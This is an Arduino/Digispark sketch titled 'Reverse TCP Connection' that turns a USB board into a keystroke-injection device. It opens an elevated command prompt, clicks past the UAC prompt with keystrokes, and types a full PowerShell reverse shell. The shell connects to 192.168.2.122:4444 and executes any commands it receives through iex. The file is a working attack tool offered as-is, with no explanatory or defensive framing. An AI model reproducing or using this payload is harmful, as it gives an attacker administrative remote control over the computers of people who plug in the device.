Reverse TCP Connection

#include "GermanLayout.h"

#define KEY_TAB 0x2b

void setup() {
    DigiKeyboard.delay(500);
    pinMode(1, OUTPUT);
}

void StartAdminCMD(){
  DigiKeyboardDe.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboardDe.println("powershell  Start-Process cmd -Verb runAs");
  DigiKeyboard.delay(1500);
  DigiKeyboardDe.sendKeyStroke(KEY_ARROW_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboardDe.sendKeyStroke(KEY_ENTER);
}


void loop() {
  DigiKeyboard.update();
  DigiKeyboardDe.sendKeyStroke(0);

  StartAdminCMD();

  DigiKeyboard.delay(1000);
  DigiKeyboardDe.println(F("powershell -command \"$client = New-Object System.Net.Sockets.TCPClient('192.168.2.122',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd) + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""));
  DigiKeyboard.delay(5000);
  digitalWrite(1, HIGH);
  DigiKeyboard.delay(90000);
  digitalWrite(1, LOW);
  DigiKeyboard.delay(5000);
}

//Remove .Path from (path)+
//-windowstyle Maximized